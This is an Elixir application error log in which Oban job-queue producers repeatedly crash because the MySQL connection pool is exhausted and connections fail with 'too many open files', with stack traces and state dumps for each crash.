State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:32:48.240597Z], limit: 3, uuid: "7576d5f4-63ec-435c-a61f-3c7d749f3ea2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:48.240603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199461>, refresh_timer: #Reference<0.2525715032.1077673987.43054>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:32:48.241028Z], limit: 50, uuid: "b442d766-31db-48f3-88f9-8a692918703a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:48.241035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199458>, refresh_timer: #Reference<0.2525715032.1121189889.199423>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:32:48.240809Z], limit: 5, uuid: "9dd95a28-751e-4786-a1ae-3676dfbfe3a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:48.240816Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199460>, refresh_timer: #Reference<0.2525715032.1077673987.43065>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:32:48.247418Z], limit: 10, uuid: "1633735d-b9bb-4653-846e-1771da5faa3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:48.247425Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.63925>, refresh_timer: #Reference<0.2525715032.1068498948.63924>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:32:48.239238Z], limit: 5, uuid: "7519cb8c-35b6-4ae0-9055-3465567d22f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:48.239244Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199457>, refresh_timer: #Reference<0.2525715032.1121189889.199416>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:32:48.239904Z], limit: 20, uuid: "ac50d6db-6d4e-4da0-b43d-99344563b5a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:48.239912Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199459>, refresh_timer: #Reference<0.2525715032.1077673987.43066>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:02.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:05.286000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:05.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:10.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:33:00.240320Z], limit: 20, uuid: "9ec6ac17-d651-4d65-ba10-4371ce26d18b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:00.240326Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.43186>, refresh_timer: #Reference<0.2525715032.1077673987.43185>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:33:00.239889Z], limit: 5, uuid: "806668e2-4b37-40e7-bb1f-af15272e9780", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:00.239894Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199956>, refresh_timer: #Reference<0.2525715032.1121189889.199932>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:33:00.239828Z], limit: 50, uuid: "c1dfee54-a8cb-4530-9196-26808d7cb9a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:00.239832Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199957>, refresh_timer: #Reference<0.2525715032.1099431938.63366>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
